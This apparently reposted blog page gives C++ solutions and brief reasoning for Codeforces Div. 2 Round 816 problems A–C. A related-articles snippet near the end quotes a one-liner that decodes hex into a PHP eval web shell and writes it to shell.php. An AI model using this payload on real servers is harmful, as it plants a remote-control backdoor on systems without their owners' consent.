CF(div2)816 A~C

news/2024/5/3 14:59:43/文章来源:https://www.cnblogs.com/yeonnyuui/p/16609889.html

A Crossmarket

思维

矩阵走路径,发现走Z字型怎么走都是一样的耗费,所以直接O(1)算出来就好

/**                                |~~~~~~~|*                                |       |*                                |       |*                                |       |*                                |       |*                                |       |*     |~.\\\_\~~~~~~~~~~~~~~xx~~~         ~~~~~~~~~~~~~~~~~~~~~/_//;~|*     |  \  o \_         ,XXXXX),                         _..-~ o /  |*     |    ~~\  ~-.     XXXXX`)))),                 _.--~~   .-~~~   |*      ~~~~~~~`\   ~\~~~XXX' _/ ';))     |~~~~~~..-~     _.-~ ~~~~~~~*               `\   ~~--`_\~\, ;;;\)__.---.~~~      _.-~*                 ~-.       `:;;/;; \          _..-~~*                    ~-._      `''        /-~-~*                        `\              /  /*                          |         ,   | |*                           |  '        /  |*                            \/;          |*                             ;;          |*                             `;   .       |*                             |~~~-----.....|*                            | \             \*                           | /\~~--...__    |*                           (|  `\       __-\|*                           ||    \_   /~    |*                           |)     \~-'      |*                            |      | \      '*                            |      |  \    :*                             \     |  |    |*                              |    )  (    )*                               \  /;  /\  |*                               |    |/   |*                               |    |   |*                                \  .'  ||*                                |  |  | |*                                (  | |  |*                                |   \ \ |*                                || o `.)|*                                |`\\) |*                                |       |*                                |       |*/
#include<iostream>
#include<queue>
#include<vector>
#include<cstring>
#include<cmath>
#include<algorithm>
#include<stack>
#include<unordered_map>
#include<unordered_set>
#include<set>
#include<map>
// #pragma GCC optimize(3)
using namespace std;
#define rep(i,x,y) for(int i=x;i<y;i++)
#define scan(x)   scanf("%lld",&x)
#define int long long
#define lowbit(x) x&(-x) //二进制最低位所代表的数
#define PI 3.1415926535
typedef pair<int,int> PII;
int gcd(int a,int b){return b>0 ? gcd(b,a%b):a;
}
int exgcd(int a,int b,int &x,int &y)
{if(!b){x = 1,y = 0;return a;}int d = exgcd(b,a%b,y,x);y-=a/b*x;return d;
}
const int N = 1e6+10;
const int mod = 1e9+7;
const int INF = 0x3f3f3f3f;
void init()
{cin.tie(0),cout.tie(0);ios::sync_with_stdio(false);
}void solve()
{int n,m;cin>>n>>m;if(n<m)swap(n,m);if(n==1&&m==1){cout<<0<<endl;return;}int t = n+(m-2)+2+(m-2);cout<<t<<endl;
}signed main()
{init();int t;cin>>t;while(t--)solve();
}
View Code

B Beautiful a Array

构造

放k*b就满足了“漂亮”性质,然后还要每个都加上min(s,k-1)来满足总数和的性质

/**                                |~~~~~~~|*                                |       |*                                |       |*                                |       |*                                |       |*                                |       |*     |~.\\\_\~~~~~~~~~~~~~~xx~~~         ~~~~~~~~~~~~~~~~~~~~~/_//;~|*     |  \  o \_         ,XXXXX),                         _..-~ o /  |*     |    ~~\  ~-.     XXXXX`)))),                 _.--~~   .-~~~   |*      ~~~~~~~`\   ~\~~~XXX' _/ ';))     |~~~~~~..-~     _.-~ ~~~~~~~*               `\   ~~--`_\~\, ;;;\)__.---.~~~      _.-~*                 ~-.       `:;;/;; \          _..-~~*                    ~-._      `''        /-~-~*                        `\              /  /*                          |         ,   | |*                           |  '        /  |*                            \/;          |*                             ;;          |*                             `;   .       |*                             |~~~-----.....|*                            | \             \*                           | /\~~--...__    |*                           (|  `\       __-\|*                           ||    \_   /~    |*                           |)     \~-'      |*                            |      | \      '*                            |      |  \    :*                             \     |  |    |*                              |    )  (    )*                               \  /;  /\  |*                               |    |/   |*                               |    |   |*                                \  .'  ||*                                |  |  | |*                                (  | |  |*                                |   \ \ |*                                || o `.)|*                                |`\\) |*                                |       |*                                |       |*/
#include<iostream>
#include<queue>
#include<vector>
#include<cstring>
#include<cmath>
#include<algorithm>
#include<stack>
#include<unordered_map>
#include<unordered_set>
#include<set>
#include<map>
// #pragma GCC optimize(3)
using namespace std;
#define rep(i,x,y) for(int i=x;i<y;i++)
#define scan(x)   scanf("%lld",&x)
#define int long long
#define lowbit(x) x&(-x) //二进制最低位所代表的数
#define PI 3.1415926535
typedef pair<int,int> PII;
int gcd(int a,int b){return b>0 ? gcd(b,a%b):a;
}
int exgcd(int a,int b,int &x,int &y)
{if(!b){x = 1,y = 0;return a;}int d = exgcd(b,a%b,y,x);y-=a/b*x;return d;
}
const int N = 1e6+10;
const int mod = 1e9+7;
const int INF = 0x3f3f3f3f;
void init()
{cin.tie(0),cout.tie(0);ios::sync_with_stdio(false);
}void solve()
{int n,k,b,s;cin>>n>>k>>b>>s;vector<int> a(n);a[0]=k*b;s-=k*b;if(s<0){cout<<-1<<endl;return;}for(int i=0;i<n;i++){int t = min(s,k-1);a[i]+=t;s-=t;}if(s>0){cout<<-1<<endl;    }else{for(int i=0;i<n;i++){cout<<a[i]<<' ';}cout<<endl;}
}signed main()
{init();int t;cin>>t;while(t--)solve();
}
View Code

C Monoblock

数学规律

这种查询题就是先找出最终结果然后进行减法操作,这样才不会超时。

所以这道题的触发是换之后是否相等,相等的话那么会进行减法,减去有这两个元素的区间,不相等的话加上。

子区间( i )*( n - i )

/**                                |~~~~~~~|*                                |       |*                                |       |*                                |       |*                                |       |*                                |       |*     |~.\\\_\~~~~~~~~~~~~~~xx~~~         ~~~~~~~~~~~~~~~~~~~~~/_//;~|*     |  \  o \_         ,XXXXX),                         _..-~ o /  |*     |    ~~\  ~-.     XXXXX`)))),                 _.--~~   .-~~~   |*      ~~~~~~~`\   ~\~~~XXX' _/ ';))     |~~~~~~..-~     _.-~ ~~~~~~~*               `\   ~~--`_\~\, ;;;\)__.---.~~~      _.-~*                 ~-.       `:;;/;; \          _..-~~*                    ~-._      `''        /-~-~*                        `\              /  /*                          |         ,   | |*                           |  '        /  |*                            \/;          |*                             ;;          |*                             `;   .       |*                             |~~~-----.....|*                            | \             \*                           | /\~~--...__    |*                           (|  `\       __-\|*                           ||    \_   /~    |*                           |)     \~-'      |*                            |      | \      '*                            |      |  \    :*                             \     |  |    |*                              |    )  (    )*                               \  /;  /\  |*                               |    |/   |*                               |    |   |*                                \  .'  ||*                                |  |  | |*                                (  | |  |*                                |   \ \ |*                                || o `.)|*                                |`\\) |*                                |       |*                                |       |*/
#include<iostream>
#include<queue>
#include<vector>
#include<cstring>
#include<cmath>
#include<algorithm>
#include<stack>
#include<unordered_map>
#include<unordered_set>
#include<set>
#include<map>
// #pragma GCC optimize(3)
using namespace std;
#define rep(i,x,y) for(int i=x;i<y;i++)
#define scan(x)   scanf("%lld",&x)
#define int long long
#define lowbit(x) x&(-x) //二进制最低位所代表的数
#define PI 3.1415926535
typedef pair<int,int> PII;
int gcd(int a,int b){return b>0 ? gcd(b,a%b):a;
}
int exgcd(int a,int b,int &x,int &y)
{if(!b){x = 1,y = 0;return a;}int d = exgcd(b,a%b,y,x);y-=a/b*x;return d;
}
const int N = 1e6+10;
const int mod = 1e9+7;
const int INF = 0x3f3f3f3f;
void init()
{cin.tie(0),cout.tie(0);ios::sync_with_stdio(false);
}int a[N];void solve()
{int n,m;cin>>n>>m;for(int i=1;i<=n;i++){cin>>a[i];}int cnt = 0;int sum = 0;    for(int i=1;i<=n;i++){if(a[i]!=a[i-1])cnt+=i;else cnt++;sum+=cnt;}while(m--){int i,x;cin>>i>>x;if(a[i-1]!=a[i]&&a[i-1]==x){sum-=(i-1)*(n-i+1);}if(a[i-1]==a[i]&&a[i-1]!=x){sum+=(i-1)*(n-i+1);}if(a[i+1]!=a[i]&&a[i+1]==x){sum-=(i)*(n-i);}if(a[i+1]==a[i]&&a[i+1]!=x){sum+=(i)*(n-i);}a[i]=x;cout<<sum<<endl;}
}signed main()
{init();int t=1;while(t--)solve();
}
View Code

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_2400.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

聊聊项目中分表的实际应用-2022新项目

一、业务场景Web项目开发中,分表是时常会使用到的方式。分表的一个目的是为了缓解单表数据量过大,导致操作时 性能下降的问题。可是在实际开发中应该如何进行进行分表呢?那种分表方式更符合实际呢? 二、需求分析网上随便去搜索一下就会发现有很多的分表方式,比如常规的垂直…

数组

概念:一组相同数据的容器相同类型:Java语言中要求存入数组的数据类型必须一直 容器:类似于生活中存放物品的容器,在编程世界中,容器可以用来存放数据 一组:容器中可以存放多个数据声明数组变量int [] ageArray;创建数组对象ageArray = new int[5];静态创建数组int [] ageArray …

11.3 垃圾回收相关概念

目录11.3.1 System.gc()的理解11.3.2 内存溢出与内存泄漏内存溢出(OOM)内存泄漏(Memory Leak)11.3.3 Stop The World11.3.4 垃圾回收的并行与并发并发(Concurrent)并行(Parallel)并发 VS 并行11.3.5 安全点与安全区域安全点(Safepoint)安全区域(Safe Region)引用概…

过滤符号,Linux下写入Webshell

最近的学习生活中,看到了好兄弟写出的这么一句话让我陷入沉思,是否>被过滤,就意味着写入不了Webshell了?于是有了下面的Payload 只要|没被过滤,就有可能写入成功! echo 3c3f70687020406576616c28245f504f53545b277479736563275d293b3f3e|xxd -ps -r|tee shell.php

《GB27951-2011》PDF下载

《GB27951-2011 皮肤消毒剂卫生要求》PDF下载 《GB27951-2011》简介本标准规定了皮肤消毒剂的技术要求、试验方法、使用方法、标签和说明书以及使用注意事项; 本标准适用于完整皮肤和破损皮肤消毒的消毒剂,不适用于手消毒剂。 《GB27951-2011》截图 《GB27951-2011》下载 网…

java中静态成员变量、静态代码块static执行时机

java中静态成员变量与静态块会比构造函数先执行,并且只会执行一次,一个类中有多个static修饰的成员变量或者代码块,会按照代码中先后的顺序执行 请看下面的示例:public class Test {public static void main(String[] args) {Out out1 = new Out();} }public class Out {st…

软件测试入门二(了解软件)

一、什么是软件 软件:通过大代码逻辑开发出来的程序,称为软件。二、软件的种类 web端:电脑、手机的浏览器可以打开的网页,就是web的软件。比如:公司官网、淘宝网等等 客户端:电脑客户端:需要在电脑上进行安装的软件,比如:PC端的英雄联盟、QQ等等,手机端(移动端、app…

解决uni-app小程序导航栏标题不显示问题

用HBuilder开发小程序 创建页面时默认配置了导航文字和下拉刷新 默认导航文字为空 局部配置会覆盖全局配置,所以我们在globalStyle中做的导航全局配置只有背景颜色会生效,文字被页面的局部配置覆盖掉了 可以将页面的配置删掉或加上内容 删掉就是显示全局配置的文字,加上内容…

学习 day1

数据和指令是分开区域存放的,存放指令区域的地方称为「正文段」编译器会把 a = 1 + 2 翻译成 4 条指令,存放到正文段中。如图,这 4 条指令被存放到了 0x200 ~ 0x20c 的区域中: 1、0x200 的内容是 load 指令将 0x100 地址中的数据 1 装入到寄存器 R0; 2、0x204 的内容是 lo…

flex align-items 属性项目在交叉轴上对齐

1,align-items: flex-start;2,align-items: flex-end;2,align-items: center;2,align-items: baseline;2,align-items: stretch;

java对象转json

java对象转json json解析器:常见的解析器:Jsonlib,Gson,fastjson,jackson 使用步骤:1、导入jackson的相关jar包2、创建Jackson核心对象 ObjectMapper3、调用ObjectMapper的相关方法进行转换 转换方法: writeValue(参数1,obj); 参数1: File:将obj对象转换诶J…

Flex 布局 display:flex 与 inline-flex 区别

1.Flex布局 display:flex.bigbox{ width: 500px; height: 400px; background:#ff0000; display: flex; } .smallbox{ width: 100px; height: 100px; background: #f5f5f5; margin: 10px; }<span>flex</span> <div class="bigb…

Java核心知识体系4:AOP原理和切面应用

1 概述 我们所说的Aop(即面向切面编程),即面向接口,也面向方法,在基于IOC的基础上实现。 Aop最大的特点是对指定的方法进行拦截并增强,这种增强的方式不需要业务代码进行调整,无需侵入到业务代码中,使业务与非业务处理逻辑分离。 以Spring举例,通过事务的注解配置,Sp…

npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead.

报错信息: npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead. 报错截图: 如何弃用 npm WARN 配置全局 –global, –local。使用“–location=global”代替“错误发生? 当我尝试使用-g的全局命令时,只是尝试安装使用npm ins…

【面试题】循环打印红绿灯

循环打印红绿灯 点击打开视频讲解更加详细 红灯3秒后变成绿灯 绿灯5秒后变成黄灯 黄灯2秒后变成红灯案例: <template><div id="app"><div>循环打印红绿灯</div><div>红灯3秒后变成绿灯</div><div>绿灯5秒后变成黄灯</…

Python custom modify the __add__ method All In One

Python custom modify the __add__ method All In OnePython 改写 `__add__` 类方法Python custom modify the add method All In OnePython 改写 __add__ 类方法"""# class Juice: # def __init__(self, name, capacity): # self.name = name # …

高亮显示指定内容

问题:海量数据中,高亮显示下表第一行的内容。 解决:开始》条件格式》突出显示单元格规则》小于="id5" 原博客各种作……所以换阵地了,不过每篇都搬过来,实在有点累,想看就自己看吧:http://blog.sina.com.cn/pureiceshadow

项目压测数据

压测流程首先启动 locust 压测脚本 然后启动bus查分模拟脚本 收集数据 压测结束,清理数据采集的数据为:请求相关数据,如响应时间,请求总数据量 资源相关,请求时pod的数量以及实时cpu,内存消耗 请求数量数量,总请求数量,时间分布 apm请求记录,查询请求具体耗时 数据库信…

认识mtv

MTV设计模式 那么 Django 的 MTV 又是怎么回事呢?下面讲解 Django 的设计模式。Django 借鉴了经典的 MVC 模式,它也将交互的过程分为了 3 个层次,也就是 MTV 设计模式;Model:数据存储层,处理所有数据相关的业务,和数据库进行交互,并提供数据的增删改查; Template:模板…

《机器学习的数学修炼》

目录:第六章 线性回归: 1.1三种方法实现:import numpy as np import pandas as pd from scipy import statsdf = pd.read_csv("DBS_SingDollar.csv") # X = df[df.columns[0]] # y = df[df.columns[1]] X = df["DBS"] Y = df["SGD"] slope,in…